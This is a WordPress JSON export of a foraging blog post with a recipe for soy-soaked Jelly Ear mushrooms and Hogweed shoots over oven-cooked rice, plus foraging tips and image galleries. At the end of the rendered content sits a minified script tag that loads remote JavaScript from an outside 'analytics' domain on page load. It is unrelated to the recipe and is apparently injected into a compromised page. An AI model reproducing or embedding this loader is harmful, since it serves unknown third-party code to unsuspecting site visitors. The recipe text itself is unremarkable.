{"id":116213,"date":"2025-11-24T11:40:46","date_gmt":"2025-11-24T11:40:46","guid":{"rendered":"https:\/\/totallywilduk.co.uk\/?p=116213"},"modified":"2025-11-24T11:40:46","modified_gmt":"2025-11-24T11:40:46","slug":"soy-soaked-jelly-ear-mushroom-rice-with-hogweed-by-forager-paul","status":"publish","type":"post","link":"https:\/\/totallywilduk.co.uk\/2025\/11\/24\/soy-soaked-jelly-ear-mushroom-rice-with-hogweed-by-forager-paul\/","title":{"rendered":"Soy-Soaked Jelly Ear Mushroom Rice with Hogweed by Forager Paul"},"content":{"rendered":"<div id='gallery-1' class='gallery galleryid-116213 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2021\/04\/15\/identify-wild-carrot\/jelly-ear_below_spring-e1544548483269\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/04\/Jelly-Ear_below_Spring-e1544548483269-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/04\/Jelly-Ear_below_Spring-e1544548483269-150x150.png 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/04\/Jelly-Ear_below_Spring-e1544548483269-450x450.png 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/04\/Jelly-Ear_below_Spring-e1544548483269-100x100.png 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/04\/Jelly-Ear_below_Spring-e1544548483269-300x300.png 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/04\/Jelly-Ear_below_Spring-e1544548483269.png 600w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2020\/04\/28\/identify-common-hogweed\/hogweed_bunch_spring\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/Hogweed_Bunch_Spring-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/Hogweed_Bunch_Spring-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/Hogweed_Bunch_Spring-scaled-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/Hogweed_Bunch_Spring-scaled-100x100.jpg 100w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/11\/24\/soy-soaked-jelly-ear-mushroom-rice-with-hogweed-by-forager-paul\/soy-soaked-jelly-ear-and-hogweed-rice\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n\n<p>&nbsp;<\/p>\n<div dir=\"auto\">If you&#8217;re looking to create a dish that combines earthy, umami-rich flavours with a touch of foraged goodness, this recipe is perfect for you. Featuring Jelly Ear mushrooms soaked in soy sauce and paired with fluffy rice and tender Hogweed, it&#8217;s a simple yet elegant dish that showcases the best of natural ingredients.<\/div>\n<div dir=\"auto\">\n<hr \/>\n<\/div>\n<h2 dir=\"auto\"><strong>Ingredients:<\/strong><\/h2>\n<ul>\n<li dir=\"auto\">1 handful of <a href=\"https:\/\/totallywilduk.co.uk\/2020\/04\/30\/identify-jelly-ear-mushrooms\/\">Jelly Ear mushrooms (Auricularia auricula-judae)<\/a><\/li>\n<li dir=\"auto\">Soy sauce (enough to soak the mushrooms)<\/li>\n<li dir=\"auto\">250g rice<\/li>\n<li dir=\"auto\">300g boiling water<\/li>\n<li dir=\"auto\">1 tsp salt<\/li>\n<li dir=\"auto\">20ml mirin<\/li>\n<li dir=\"auto\">Fresh Hogweed shoots<\/li>\n<\/ul>\n<div dir=\"auto\">\n<p><a href=\"https:\/\/totallywilduk.co.uk\/2020\/04\/28\/identify-common-hogweed\/\">To see our Hogweed identification guide click here.<\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-32626\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-300x225.jpg 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-scaled-900x675.jpg 900w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-1024x768.jpg 1024w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-768x576.jpg 768w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-1536x1152.jpg 1536w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-2048x1536.jpg 2048w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/04\/hogweed-on-white-plate-from-top-spring-150x113.jpg 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<hr \/>\n<\/div>\n<h2 dir=\"auto\"><strong>Method:<\/strong><\/h2>\n<h3 dir=\"auto\"><strong>1. Prepare the Mushrooms<\/strong><\/h3>\n<div dir=\"auto\">The night before, place the Jelly Ear mushrooms in a bowl and cover them with soy sauce. Let them soak overnight. The mushrooms will absorb the soy sauce, becoming beautifully flavoured and tender.<\/div>\n<h3 dir=\"auto\"><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-116216 size-medium\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-soaked-overnight-in-soy-e1736869058719-227x300.jpg\" alt=\"\" width=\"227\" height=\"300\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-soaked-overnight-in-soy-e1736869058719-227x300.jpg 227w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-soaked-overnight-in-soy-e1736869058719-113x150.jpg 113w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-soaked-overnight-in-soy-e1736869058719.jpg 720w\" sizes=\"auto, (max-width: 227px) 100vw, 227px\" \/><\/strong><\/h3>\n<h3 dir=\"auto\"><strong>2. Cook the Rice<\/strong><\/h3>\n<div dir=\"auto\">Wash the rice thoroughly under cold water until the water runs clear. This removes excess starch, ensuring your rice is light and fluffy. Add the washed rice to a pan with 300g of boiling water, 1 tsp of salt, and 20ml of mirin.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Bring the mixture to a boil, then cover with a lid and place in a preheated oven at 170\u00b0C (340\u00b0F) for 20 minutes. Once the rice has absorbed all the water, remove it from the oven. Dice half of the soy-soaked mushrooms and mix them into the rice. Cover the pot with the lid again and let the rice steam on the side for a few minutes.<\/div>\n<div dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-116228\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-and-rice-1-e1736862373685-218x300.jpg\" alt=\"\" width=\"218\" height=\"300\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-and-rice-1-e1736862373685-218x300.jpg 218w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-and-rice-1-e1736862373685-109x150.jpg 109w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Jelly-ear-and-rice-1-e1736862373685.jpg 720w\" sizes=\"auto, (max-width: 218px) 100vw, 218px\" \/><\/div>\n<h3 dir=\"auto\"><strong>3. Cook the Remaining Mushrooms and Hogweed<\/strong><\/h3>\n<div dir=\"auto\">Heat a separate pan over medium heat. Add the remaining Jelly Ear mushrooms and fresh Hogweed to the pan. Cook gently until the Hogweed wilts down and the mushrooms are heated through, releasing their rich, savoury aroma.<\/div>\n<h3 dir=\"auto\"><strong>4. Assemble the Dish<\/strong><\/h3>\n<div dir=\"auto\">Spoon the rice into serving bowls, creating a bed for your wilted Hogweed and mushrooms. Pile the Hogweed mixture on top of the rice for a visually appealing presentation and an added layer of flavour.<\/div>\n<div dir=\"auto\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-116214\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-205x300.jpg\" alt=\"\" width=\"205\" height=\"300\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-205x300.jpg 205w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-699x1024.jpg 699w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311-102x150.jpg 102w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Soy-soaked-jelly-ear-and-hogweed-rice-e1736862434311.jpg 717w\" sizes=\"auto, (max-width: 205px) 100vw, 205px\" \/><\/div>\n<div dir=\"auto\">\n<hr \/>\n<\/div>\n<h2 dir=\"auto\"><strong>Tips for Foraging Jelly Ears and Hogweed<\/strong><\/h2>\n<div dir=\"auto\">If you&#8217;re new to foraging, make sure you identify <a href=\"https:\/\/totallywilduk.co.uk\/2020\/04\/30\/identify-jelly-ear-mushrooms\/\">Jelly Ears<\/a> and <a href=\"https:\/\/totallywilduk.co.uk\/2020\/04\/28\/identify-common-hogweed\/\">Hogweed<\/a> correctly. If you&#8217;re unsure click on the links to read more about these species.<\/div>\n<div dir=\"auto\">Always gather from clean, pesticide-free areas and in moderation, leaving plenty for wildlife.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">This dish is perfect for adventurous food lovers and those who appreciate the art of foraging. The soy-soaked mushrooms add a burst of umami, while the mirin lends a subtle sweetness to the rice. Enjoy this wholesome, nature-inspired creation!<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Happy cooking!<\/div>\n<div dir=\"auto\">\n<hr \/>\n<h2><a href=\"https:\/\/totallywilduk.co.uk\/wild-food-recipes\/\"><strong>For more fabulous wild food recipes click here.<\/strong><\/a><\/h2>\n<div id='gallery-2' class='gallery galleryid-116213 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2021\/11\/10\/wild-mushroom-sage-soup-recipe\/img-20211111-wa0007\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/11\/IMG-20211111-WA0007-100x100.jpg 100w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2025\/03\/13\/fermented-borscht-recipe-a-vibrant-gut-healthy-celebration-dish\/copy-of-fermented-borscht-recipe\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"fermented Borscht Recipe\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-300x300.jpg 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-1024x1024.jpg 1024w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-768x768.jpg 768w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-900x900.jpg 900w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe-50x50.jpg 50w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/01\/Copy-of-fermented-Borscht-Recipe.jpg 1080w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2018\/10\/24\/bilberry-pie-recipe\/bilberry-and-apple-pie-close-up-2-e1518702919375-jpg\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2021\/05\/Bilberry-and-apple-pie-close-up-2-e1518702919375-100x100.jpg 100w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n\n<hr \/>\n<\/div>\n<div class=\"yj6qo\"><\/div>\n<div class=\"adL\" dir=\"auto\"><\/div>\n<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; If you&#8217;re looking to create a dish that combines earthy, umami-rich flavours with a touch of foraged goodness, this recipe is perfect for you. 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